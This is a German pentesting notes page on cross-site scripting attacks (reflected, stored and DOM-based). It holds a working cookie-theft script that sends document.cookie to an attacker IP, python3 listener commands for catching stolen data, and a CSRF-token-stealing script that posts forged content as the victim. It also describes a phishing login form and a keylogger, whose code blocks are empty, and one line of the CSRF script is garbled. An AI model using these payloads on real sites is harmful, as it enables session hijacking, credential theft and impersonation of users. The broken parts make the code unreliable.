> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-scripting-xss/xss-techniques-pentesting-web.md).
# XSS-Techniken
## XSS (Reflektiert):
> Reflektiert: Diese Art von XSS tritt auf, wenn vom Benutzer bereitgestellte Daten ohne angemessene Validierung in der HTTP-Antwort gespiegelt werden. Dadurch kann ein Angreifer schädlichen Code in die Antwort einschleusen, der dann im Browser des Benutzers ausgeführt wird.
* In diesem Fall können wir HTML-Code wie im folgenden Beispiel einschleusen: `test
Test
`:
* Wir können sehen, dass wir die Textgröße mit dem **h1** Tag:
## XSS (Gespeichert):
> Gespeichert: Diese Art von XSS tritt auf, wenn ein Angreifer bösartigen Code in einer Datenbank oder auf dem Webserver speichern kann, der eine verwundbare Seite hostet. Dieser Code wird jedes Mal ausgeführt, wenn die Seite geladen wird. Wenn wir ein Skript wie das folgende in einem Formular ausführen, ``, und die folgende Warnung erhalten, bedeutet das, dass die Website für diese Art von Angriff verwundbar ist:
Wir könnten den Benutzer auf eine verwundbare Website umleiten und einen Phishing-Angriff durchführen:
```javascript
```
Dieser JavaScript-Code erstellt ein Login-Formular auf einer Webseite und sendet die eingegebenen Daten (E-Mail-Adresse und Passwort) über eine HTTP-Anfrage an eine angegebene IP-Adresse mit `fetch()`.
```javascript
```
Wir lauschen auf Port 80 mit **python3**:
```bash
python3 -m http.server 80
```
## XSS (DOM-basiert):
> DOM-basiert: Diese Art von XSS tritt auf, wenn der schädliche Code im Browser des Benutzers über das DOM (Document Object Model) ausgeführt wird. Dies geschieht, wenn der JavaScript-Code auf einer Webseite das DOM auf eine Weise verändert, die für die Einschleusung von schädlichem Code anfällig ist. Das folgende Skript kann alle Benutzertastenanschläge erfassen und sie an einen **python3** Server über Port 80 senden:
```javascript
```
Wir können lauschen, indem wir nur die Zeichen filtern, die für uns wichtig sind, mit **grep**:
```bash
python3 -m http.server 80 2>&1 | grep -oP 'GET //K[^.*/s]+' | sed 's/%20//g'
```
***
Um das Session-Cookie von einem Server zu erhalten, erstellen wir diese Datei auf unserem Computer **test.js**
```javascript
var query = new XMLHttpRequest();
query.open('GET', 'http://192.168.71.128/?cookie=' + document.cookie);
query.send();
```
Im Formular senden wir dieses Skript:
```html
```
Wir lauschen und erhalten das Session-Cookie des Benutzers:
Um im Namen einer anderen Person etwas zu schreiben, könnten wir die folgenden Schritte befolgen: Fange die Anfrage mit [Burp Suite](/de/hacking-tools/web/burpsuite.md) und kopiere den rot hervorgehobenen Inhalt:
Das folgende Skript führt eine **GET** Anfrage an eine lokale URL aus, analysiert die HTML-Antwort, um ein **CSRF** Token zu identifizieren, und führt dann eine POST-Anfrage mit Daten aus, die das CSRF-Token enthalten, an dieselbe URL. Die URL-kodierte `Daten` Variable sendet die Informationen an den Server, auf dem dieses Skript implementiert ist. Es ist wichtig, die `Daten` Werte, das Token und die IP-Adresse anzupassen.
```javascript
var domain = "http://localhost:10007/newgossip";
var req1 = new XMLHttpRequest();
req1.open('GET', domain, false);
req1.withCredentials = true;
req1.send();
var response = req1.responseText;
var parser = new DOMParser();
var doc = parser.parseFromString(response, 'text/htmthe );
var token = doc.getElementsByName("_csrf_token")[0].value;
var req2 = new XMLHttpRequest();
var data = "title=My%20boss%20is%20a%20bastard%21%21&subtitle=I%20hate%20my%20job&text=you%20make%20me%20SICK%0A&_csrf_token=" + token;
req2.open('POST', 'http://localhost:10007/newgossip', false);
req2.withCredentials = true;
req2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
req2.send(data);
```
Im Formular senden wir dieses Skript:
```javascript